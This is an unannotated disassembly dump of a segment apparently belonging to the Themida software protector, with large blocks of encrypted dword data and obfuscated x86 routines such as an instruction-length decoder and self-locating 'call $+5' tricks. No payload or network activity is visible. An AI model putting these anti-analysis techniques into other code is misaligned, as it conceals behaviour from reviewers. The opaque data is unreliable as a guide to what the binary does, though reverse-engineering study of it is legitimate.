		dd 335D5571h, 0D2A09C65h, 0ACD2CB17h, 3747B793h, 0D90D354Dh
		dd 315F3590h, 6B9C6FE9h, 357B616Dh, 357B71F3h, 315F3525h
		dd 0B59C67DEh, 0B212001Fh, 2994D130h, 0BFDAB86Bh, 0D9592DA2h
		dd 315F35E1h, 0C77E8D74h, 6BC08403h, 3135E563h,	315CDD1Bh
		dd 6C7F3527h, 5DD66850h, 75DE31EDh, 314631C0h, 641A3572h
		dd 53F09EFAh, 3EED8DBDh, 315F26C5h, 3151DC27h, 0F30A3593h
		dd 6643CD13h, 3614359Bh, 1C7E8477h, 0F2D45359h,	0CC1D2D23h
		dd 0F154542Fh, 3124B128h, 0BA393593h, 0BCC2B839h, 0D95926ABh
		dd 315F357Ch, 988132C7h, 334140D5h, 27787E2Eh, 16E14F68h
		dd 6B34CB0Bh, 315F3671h, 625F5FE4h, 315F369Ah, 0F2041539h
		dd 1503BCC7h, 151BB44Ah, 315F2823h, 0F20C7693h,	65D64ADFh
		dd 75D44259h, 20B7D38Bh, 6C5F3539h, 0BE4FD16h, 0C7E341EBh
		dd 2193F288h, 0A569CCE7h, 68A482C6h, 513FD61Bh,	315FBA7Dh
		dd 8B393539h, 573EE7F2h, 3E6FEACFh, 0DFE67646h,	0BC5F2BD2h
		dd 29DDF374h, 38D2B8E2h, 89592DF5h, 0BB146944h,	2ACAB0AFh
		dd 0FE74335Dh, 0B387A811h, 0C7DF3356h, 0BFDAB813h, 57592DF8h
		dd 0FF72F248h, 21B6E51Bh, 835F3572h, 0A4F305E9h, 0DDBAC08Bh
		dd 6A1BB723h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0B3ACC357h, 928BA51Bh,	8FB1A1B3h
		dd 8166C38Bh, 8BF9C6D2h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 3FBE563Fh, 8BF7EC08h
		dd 25BD83F8h, 61316h, 0BD830975h, 6132C81h, 50197400h
		dd 0B8C08B53h, 47Ah, 31158589h,	9D8D0613h, 615A9E4h, 585BD3FFh
		dd 2C81BD83h, 74000613h, 0B8535017h, 47Ah, 31158589h, 9D8D0613h
		dd 615A685h, 585BD3FFh,	80F9BF0Fh, 8E0F82CEh, 3, 8BC88B66h
		dd 266E9C0h, 66600000h,	0C1F6D98Ch, 35840F04h, 6A000000h
		dd 6DB5FF01h, 8D061311h, 167C3385h, 89D0FF06h, 13281585h
		dd 0C1FE8B06h, 680CEFh,	6A200600h, 57026A00h, 1000D68h
		dd 1595FF00h, 0E9061328h, 32h, 11E185C6h, 68560613h, 0A9C530DFh
		dd 1EE9B5FFh, 858D0613h, 6167C33h, 8589D0FFh, 613122Dh
		dd 29FD858Dh, 6A500613h, 56056A40h, 122D95FFh, 0C3610613h
		dd 3 dup(0)
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+618885Eh],	eax
		mov	eax, [edx+0Ch]
		mov	[ebp+6188856h],	eax
		mov	eax, [edx+10h]
		mov	[ebp+618885Ah],	eax
		lea	esi, [ebp+6188894h]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		pop	edx
		retn	0Ch
; ---------------------------------------------------------------------------
		mov	esi, [ebp+618885Eh]
		mov	eax, [ebp+6188856h]
		cmp	dword ptr [ebp+618885Ah], 0
		jz	loc_5D4B7E
		mov	[esi], eax
		jmp	locret_5D4B80
; ---------------------------------------------------------------------------


loc_5D4B7E:				; CODE XREF: Themida_:005D4B71j
		mov	[esi], al

locret_5D4B80:				; CODE XREF: Themida_:005D4B79j
		iret
; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 0D48B5200h, 8428B60h, 885E8589h, 0B58D0618h,	61888E5h
		dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 618885Eh, 8B0004C2h
		dd 18885E85h, 89008B06h, 18885E85h, 0CF06h, 89600000h
		dd 1888BBB5h, 0B7858906h, 8D061888h, 13065D85h,	44408B06h
		dd 88F48589h, 0B58D0618h, 618892Ah, 8EA1858Dh, 0D0FF005Bh
		dd 0BB858B61h, 0C3061888h, 88B79D8Bh, 0B70F0618h, 0D8033C43h
		dd 3785B8Bh, 1888B79Dh,	24738B06h, 88B7B503h, 8B560618h
		dd 738B207Bh, 0B7BD031Ch, 3061888h, 1888B7B5h, 0C983FC06h
		dd 9D8B41FFh, 61888BBh,	9503178Bh, 61888B7h, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 61888B7h,	88BB8589h, 0F08B0618h, 0C18BCE8Bh
		dd 88F4BD81h, 618h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
		dd 12E8C100h, 3FF825h, 0F4BD8B00h, 83061888h, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 88F4BD81h, 618h
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 0F4BD8100h, 61888h, 0FC03000h, 0E84h, 3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 8862858Dh, 85890618h, 61321F9h
		dd 88F8858Dh, 85890618h, 61315D9h, 88BF858Dh, 85890618h
		dd 6130BB1h, 8B878D8Dh,	6A0618h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 1FF9FFC3h, 13E957A9h
		dd 0E0000000h, 0C074CB6h, 0A008D39Fh, 6C3AD078h, 97D7163Fh
		dd 895B2EB9h, 131BBD8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 5FB06FB1h, 81958B60h
		dd 2906132Bh, 130AC5B5h, 958B6106h, 6132C59h, 18DD85C7h
		dd 60EC0613h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 9352F0C3h, 0C812C735h, 0DA816653h
		dd 0BD8BE59Ch, 6132449h, 305585C7h, 613h, 12E90000h, 74000000h
		dd 0F0DC1194h, 0A0E641CDh, 1106ABF6h, 936DF13Eh, 31B5FF3Eh
		dd 0E9061328h, 0Ah, 57BC6330h, 4003671Fh, 95FF5B17h, 6131D89h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 12C35040h
		dd 5B603283h, 1E30AAB9h, 1D7D958Bh, 6A0613h, 0DA995FFh
		dd 0C08B0613h, 9232FEBh, 0D1492DC6h, 4834CF2h, 9DD0919Eh
		dd 0F9F152AEh, 0AA4E1E89h, 2D61B60Fh, 5199ECAAh, 0CD5A8F0h
		dd 0C137A2C5h, 43FF39F9h, 487C0E71h, 1C8E95Ah, 88880000h
		dd 7 dup(88880041h), 41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 30000h, 14h dup(0)
		dd 8C20000h, 75726600h,	0FE80h,	11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6188D93h, 0E085C760h
		dd 6188Ch, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6188CE4h
		dd 6, 24E9h, 0E8858D00h, 5006188Ch, 8D38858Dh, 56500618h
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	188CE485h
		dd 0B5036106h, 6188CE4h, 8CE0858Bh, 0C35D0618h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5D50E9
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5D50F5
; ---------------------------------------------------------------------------


loc_5D50E9:				; CODE XREF: Themida_:005D50D2j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5D50F5:				; CODE XREF: Themida_:005D50E4j
		push	ebx
		push	esi
		push	edi


loc_5D50F8:				; CODE XREF: Themida_:005D514Dj
					; Themida_:005D5169j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5D510B:				; CODE XREF: Themida_:005D5132j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6188E4Ah
		lea	ebp, [ebp+6188CC0h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5D5138
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5D510B


loc_5D5138:				; CODE XREF: Themida_:005D5127j
		cmp	cl, 0Bh
		jz	loc_5D5195
		cmp	al, 66h
		jnz	loc_5D5176
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5D50F8
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5D516E
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5D50F8
; ---------------------------------------------------------------------------


loc_5D516E:				; CODE XREF: Themida_:005D515Bj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5D5176:				; CODE XREF: Themida_:005D5143j
		cmp	al, 67h
		jnz	loc_5D50F8
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5D50F8
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5D50F8
; ---------------------------------------------------------------------------


loc_5D5195:				; CODE XREF: Themida_:005D513Bj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5D51C1
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5D51C6
; ---------------------------------------------------------------------------


loc_5D51C1:				; CODE XREF: Themida_:005D51A0j
		movzx	edi, al
		shr	edi, 1


loc_5D51C6:				; CODE XREF: Themida_:005D51BCj
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6188F02h
		lea	ebp, [ebp+6188BC0h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5D5348
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5D528C
		dec	ecx
		jz	loc_5D526F
		dec	ecx
		jnz	loc_5D52DF
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D52DB
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D524E
		mov	byte ptr [ebp+0Bh], 2


loc_5D524E:				; CODE XREF: Themida_:005D5244j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6188F8Eh
		mov	dword ptr [ebp+6188CE0h], 1
		pop	ebp
		jmp	loc_5D52DF
; ---------------------------------------------------------------------------


loc_5D526F:				; CODE XREF: Themida_:005D5229j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D52B9
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D52B9
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5D52B9
; ---------------------------------------------------------------------------


loc_5D528C:				; CODE XREF: Themida_:005D5222j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D52D2
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D52C1
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5D52B9
		mov	[ebp+0Bh], cl


loc_5D52B9:				; CODE XREF: Themida_:005D5273j
					; Themida_:005D527Dj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5D52DF
; ---------------------------------------------------------------------------


loc_5D52C1:				; CODE XREF: Themida_:005D529Aj
		cmp	dl, 5
		jnz	loc_5D52DF
		mov	[ebp+0Bh], dl
		jmp	loc_5D52DF
; ---------------------------------------------------------------------------


loc_5D52D2:				; CODE XREF: Themida_:005D5290j
		cmp	dl, 6
		jnz	loc_5D52DF


loc_5D52DB:				; CODE XREF: Themida_:005D523Aj
		mov	byte ptr [ebp+0Bh], 3


loc_5D52DF:				; CODE XREF: Themida_:005D5230j
					; Themida_:005D526Aj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5D530D
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5D52EF:				; CODE XREF: Themida_:005D5305j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5D52EF
		mov	esi, edx


loc_5D530D:				; CODE XREF: Themida_:005D52E2j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5D5342
		cmp	edi, 7Fh
		ja	loc_5D5342
		test	bl, 38h
		jnz	loc_5D5342
		cmp	byte ptr [ebp-7], 0
		jz	loc_5D533C
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5D533F
; ---------------------------------------------------------------------------


loc_5D533C:				; CODE XREF: Themida_:005D532Dj
		push	1
		pop	eax


loc_5D533F:				; CODE XREF: Themida_:005D5337j
		mov	[ebp-1], al


loc_5D5342:				; CODE XREF: Themida_:005D5311j
					; Themida_:005D531Aj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5D5348:				; CODE XREF: Themida_:005D51F2j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5D5373
		dec	eax
		dec	eax
		jz	loc_5D5369
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5D537B
; ---------------------------------------------------------------------------


loc_5D5369:				; CODE XREF: Themida_:005D5358j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5D5378
; ---------------------------------------------------------------------------


loc_5D5373:				; CODE XREF: Themida_:005D5350j
		mov	al, [ebp-3]
		add	al, 4


loc_5D5378:				; CODE XREF: Themida_:005D536Ej
		add	[ebp-1], al


loc_5D537B:				; CODE XREF: Themida_:005D5364j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5D53A3
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5D538E:				; CODE XREF: Themida_:005D539Dj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5D538E


loc_5D53A3:				; CODE XREF: Themida_:005D5383j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		lea	eax, [ebp+6188D8Dh]
		mov	[ebp+6132191h],	eax
		lea	ecx, [ebp+61891D6h]
		push	0
		push	eax
		call	sub_5D53C7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D53C7	proc near		; CODE XREF: Themida_:005D53BFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5D53C7	endp

; ---------------------------------------------------------------------------
		mov	edx, 231E7B33h
		popf
		jge	short loc_5D5401
		adc	eax, [esi]
		mov	[ebp+6131BBDh],	ecx
		or	[ebp+61304CDh],	edx
		mov	dword ptr [ebp+61318DDh], 6F38h
		mov	dword ptr [ebp+6133055h], 0


loc_5D5401:				; CODE XREF: Themida_:005D53DDj
		push	0
		push	ebx
		call	sub_5D540C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D540C	proc near		; CODE XREF: Themida_:005D5404p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5D540C	endp

; ---------------------------------------------------------------------------
		dd 1F5D1B0Bh, 0FD5592EDh, 8E92827h, 0B0000000h,	2E049393h
		dd 0B1C6E24h, 1325C5BDh, 6B0BF06h, 0B5FF55D1h, 6130ED5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4BC35343h
		dd 29093CF6h, 8BE49E61h, 131611BDh, 8995FF06h, 6A06131Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0BDA7C353h, 890FD080h, 1307F5BDh,	0FF006A06h
		dd 130DA995h, 0EBC08B06h, 1AF600Fh, 9B533F4Fh, 1FEC904Bh
		dd 95D0D9A2h, 83F5C08Bh, 131625BDh, 9750006h, 2C81BD83h
		dd 74000613h, 8B535019h, 3FCB8C0h, 85890000h, 6130D7Dh
		dd 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h, 50177400h
		dd 3FCB853h, 85890000h,	6130D7Dh, 0A66C9D8Dh, 0D3FF0615h
		dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0BF3290C3h, 0FB9372Ah, 6AD6BFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 85E093C3h
		dd 7B027D5h, 0D7CB8190h, 8B2E0ADEh, 0CA8166D1h,	0C08BFEA6h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E8C35343h
		dd 0B736E594h, 3DBD8380h, 1061317h, 7C840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 217CDDC3h, 4C549212h, 0D9B70F5Dh, 12A5BD83h,	0F000613h
		dd 4985h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 83BC564Dh, 131F95BDh, 840F0006h
		dd 43h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h
		dd 91C35343h, 55E931B6h, 0F000003h, 0D2B7h, 0E8600000h
		dd 6, 0A44B3F77h, 0BB663C24h, 8B5AFFD3h, 0F6BB61D3h, 0C31A16C2h
		dd 3F27160Eh, 0C4B492BDh, 0C9B4FB53h, 27EBD8BBh, 56C871E4h
		dd 1DF079BFh, 9CB4E2BFh, 8DE3BFBBh, 238377C1h, 1E14A7E9h
		dd 0DFF07B3Eh, 0E4A410BDh, 35BEF8BBh, 2C3697C8h, 0B180757Fh
		dd 0A4822F44h, 0ACD29305h, 434BA26Bh, 21E6F8D1h, 0E4B4F8B8h
		dd 2877A29Bh, 3D90AC32h, 9890BC3Ah, 4EB4F8A7h, 3C77AAF9h
		dd 64ACD25Dh, 0DD6D1676h, 0D8F2E3Bh, 72B4FC36h,	315D98DBh
		dd 31B4F8BBh, 7819DB6Dh, 282EAC9Bh, 93B4F834h, 0D00B99BBh
		dd 85AFD552h, 72B410EEh, 0B8E9F8BBh, 84270C56h,	2E6773BDh
		dd 46D4203Bh, 93DE3830h, 0C9B710ECh, 0BB94F8BBh, 0E3DA778h
		dd 7D35FC9Fh, 9CAFFC9Fh, 19F3F8BBh, 7D1F3278h, 2FF8FD03h
		dd 0C9BE11D5h, 6E2EF8BBh, 0CAA87314h, 9AA2CB5Ch, 0C3E143DDh
		dd 0F7D298EBh, 295D5F2Fh, 0BFB4F8BBh, 0F15BEAB7h, 2F044335h
		dd 303F8D9Fh, 3D3D9989h, 17D2AB9Fh, 4FBBA26Ah, 0AC4ADCF7h
		dd 93DEA06Ch, 0C9B710E9h, 0BE94F8BBh, 263DA278h, 7D35FC9Fh
		dd 9CACFC9Fh, 1CF6F8BBh, 0B6200C78h, 9FB16A35h,	0C6B4F8B9h
		dd 0EC3F2F04h, 72BD10EAh, 0D50BF8BBh, 25032BE7h, 28639235h
		dd 916C123Ah, 955DA2E1h, 56B4F8BBh, 9744FAB5h, 3A3F9E9Dh
		dd 0E2349847h, 4C3F9EF0h, 0F64972DAh, 27B4F8BAh, 7BE2F8D1h
		dd 0C9B4F8B8h, 0BA77A69Bh, 76908C32h, 3D90BC3Ah, 9CB4F8A1h
		dd 0EB77AEFDh, 9BAFC473h, 7BE55514h, 0C9B4F8B0h, 0A9C8D30h
		dd 6C7D2935h, 8B8CABB5h, 75EFA2EBh, 4EB4F8AAh, 0E639D332h
		dd 398507CCh, 5FE73443h, 25AB596Ah, 0E86F79AAh,	0A8A290D3h
		dd 523F9EDBh, 0B50F9EDBh, 46624D2Ah, 7AD4A8DAh,	0C9B4F8ABh
		dd 0EBD812F7h, 0BFB5C5E3h, 80482C73h, 36B2AAEEh, 16D598ECh
		dd 27DE69DAh, 93B710E8h, 9294F8BBh, 0B83DA378h,	3635FC9Fh
		dd 39ACFC9Fh, 0CFF7F8BBh, 397ECD78h, 2F5CE785h,	99B4F8BBh
		dd 0FED6E5C4h, 0EB1FFFBAh, 14EF2B04h, 39DE2137h, 9CB710E9h
		dd 1494F8BBh, 733DA278h, 0D735FC9Fh, 0C9ADFC9Fh, 0B6F6F8BBh
		dd 2BD9FF78h, 0CF6C8764h, 19BBFC7Ah, 4EB4F869h,	215D2F30h
		dd 19B4F8BBh, 0FC0BFB0Fh, 0EF5DA1F0h, 0B9B4F8BBh, 99442139h
		dd 0BFFC532Bh, 7734F544h, 0EC31F7D3h, 13B4F8BBh, 0B03FF865h
		dd 0B6B492BAh, 72B4FB53h, 0FAEED8BBh, 0B8E071E1h, 6AF079BFh
		dd 27B4EDBFh, 50E6BABBh, 0D85D811Bh, 6B4F8BBh, 0F808F054h
		dd 0F753B56Ah, 0C389CE5Bh, 977846DEh, 27B4073Ah, 11BB78BBh
		dd 0C9B4F83Dh, 0CE6F8D1h, 72B4F8B8h, 6377A29Bh,	9890AC32h
		dd 4A90BC3Ah, 27B4F8ACh, 0F177AAF9h, 0EDB067Ah,	0FC27B83Eh
		dd 72B4F9BDh, 884678BBh, 9CB4AF52h, 483EF7BBh, 0A6B4F8BBh
		dd 279DB978h, 0C9F011C6h, 0E4DEF8BBh, 72B710EAh, 6094F8BBh
		dd 0D03DA178h, 0A35FC9Fh, 27A8FC9Fh, 0C2F5F8BBh, 9EC57278h
		dd 2E2AB741h, 0F9ED56D9h, 40379E6Ah, 18BB07B0h,	4EB4F8A9h
		dd 2E27123Ah, 16739C4Ch, 0CFAC6BFBh, 0E4B4F8BAh, 8EFC5409h
		dd 0D9B72302h, 3231758Ch, 0C3B2E023h, 3F225606h, 0E74CC3BDh
		dd 18BBC8BCh, 115FBF72h, 9AE2F8D1h, 39B4F8B8h, 0C277A69Bh
		dd 4A908C32h, 2390BC3Ah, 93B4F8A6h, 0FA77AEFDh,	722EA195h
		dd 7D65A4F1h, 0E63F9E4Ch, 74E7F8D1h, 4EB4F8B8h,	7C77A39Bh
		dd 9790A432h, 0CD90BC3Ah, 0E4B4F8ADh, 0BC77ABF8h, 0D1D49D24h
		dd 9CB4F8A8h, 37DF64Fh,	6C6FD3F4h, 0D8737CEBh, 0F4CC9BB7h
		dd 82D5CC5Ah, 28843903h, 39A07BB4h, 935DF8BBh, 67B4F8BBh
		dd 19D99287h, 4C0AE0Eh,	3A89BA97h, 67D5AEA8h, 61A3C506h
		dd 0BDBBF9BDh, 9CB4F837h, 0EA4679DDh, 213DF7FAh, 12B4F8BBh
		dd 0BBB90961h, 41097B99h, 72B2EBA9h, 39DA7DB4h,	9CDEF8BBh
		dd 4EB710EBh, 7F94F8BBh, 0D73DA078h, 8D35FC9Fh,	0E4ADFC9Fh
		dd 22F4F8BBh, 0E7774F78h, 1C047DB6h, 0A8347D7Ch, 0B2097BA6h
		dd 93B2EBA4h, 0C9E57CB4h, 0E4DEF8BBh, 72B710E8h, 6294F8BBh
		dd 0C03DA378h, 0A35FC9Fh, 27A1FC9Fh, 0C0F7F8BBh, 208DCC78h
		dd 0E4B4F8BDh, 0C2D77C97h, 345DDF98h, 7AB4F8BBh, 29D2E462h
		dd 0F132702Bh, 54B1E6Dh, 0C9B46C52h, 0E4B810BBh, 2DB8F8BBh
		dd 0E3F30C1h, 3BFA3D8Bh, 0CDEF2B6Bh, 34A3C506h,	16BBF9BDh
		dd 0C9B4F8DCh, 0CE2F8D1h, 72B4F8B8h, 6777A69Bh,	98908C32h
		dd 4A90BC3Ah, 27B4F8A0h, 0C077AEFDh, 0B370D4FAh, 6FAC3474h
		dd 1703A563h, 0D0487278h, 9CB4F8FEh, 0A6E6F8D1h, 27B4F8B8h
		dd 0C977A29Bh, 0CD90AC32h, 0E090BC3Ah, 72B4F8A6h, 77AAF9h
		dd 42CF0BBEh, 0AE7B264Eh, 2B3AF79Ah, 9CB4F8BBh,	0C9B4FE36h
		dd 716779BBh, 2FFC0BFAh, 0E90BF7EDh, 19BB37E1h,	4EB4F8BAh
		dd 7A097543h, 1EB2E028h, 0D12C8336h, 0B8A940BDh, 0F7878381h
		dd 3FA7EFB6h, 2753790h,	8CD9B723h, 23323175h, 6C3B2E0h
		dd 0BD3F2256h, 0BCE74CC3h, 7218BBC8h, 5E983BFh,	0BD83A4F3h
		dd 6189340h, 8D0D7400h,	134F8D8Dh, 1B806h, 0E1FF0000h
		dd 50006A40h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0F45D6EC7h, 0C9EB927h, 860FA844h, 0Eh, 6E850h
		dd 448A0000h, 4DDE831Eh, 0D88B5B5Ah, 6A2DE883h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 645FC350h, 0C370B4A1h, 0FC70F21h, 584h, 0A73BBA00h
		dd 0C08B4AC8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	15C35545h, 0F596949h, 58Ah, 6A2ABB00h, 0BA662897h
		dd 0BD834CAEh, 6131625h
		dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h,	3FCB8h
		dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h
		dd 6132Ch, 53501774h, 3FCB8h, 15858900h, 8D061331h, 15A6859Dh
		dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 60C9CD08h, 2BDE8166h, 8E823h, 4FCF0000h
		dd 2DB8B21Dh, 0C28176FBh, 7EFA2A3Bh, 0D88A615Fh, 7E9h
		dd 4C5F0E00h, 504F4CFEh, 9785BB66h, 8D8DC08Bh, 6189AB8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 74C35141h
		dd 970E9A21h, 14E93F16h, 0AA000000h, 0F6DCEF76h, 2597738Fh
		dd 605B395Dh, 0F677F22Ah, 89D8AB80h, 131BBD8Dh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0C8E699DBh, 0C7F6BF0Fh, 1318DD85h, 5CE406h, 0E1858900h
		dd 0C706130Bh, 13305585h, 6, 5E800h, 3D6C0000h,	8963ACCDh
		dd 1325D985h, 0B5FF5B06h, 6132101h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 2AC35242h, 9D094872h, 6131131h
		dd 1D8995FFh, 0EE800613h, 9958983h, 6A06131Eh, 0A995FF00h
		dd 8B06130Dh, 4138EBC0h, 9565247Bh, 18BFF09Eh, 0CB185E72h
		dd 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h,	0C6F8546Eh
		dd 1C8D1CEEh, 0BEAC92DAh, 0E98A8435h, 0DF25C916h, 801BB06Bh
		dd 0E951A426h, 15Ch, 4DD6EB47h,	8556688Ch, 4DAA4CAAh, 0A7758ACh
		dd 537C56B5h, 0A7F56BFh, 53745830h, 3A5F714Eh, 530D2466h
		dd 0D1F67078h, 9DF2C454h, 524AB680h, 533B15E9h,	128h, 0
		dd 4, 2	dup(0)
		dd 33h,	0
		dd 8, 0
aSystem		db 'System',0
aProcess	db ' Process]',0
		align 10h
		dd 3Ch dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D750F
; ---------------------------------------------------------------------------
		push	6189E55h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	6189F48h
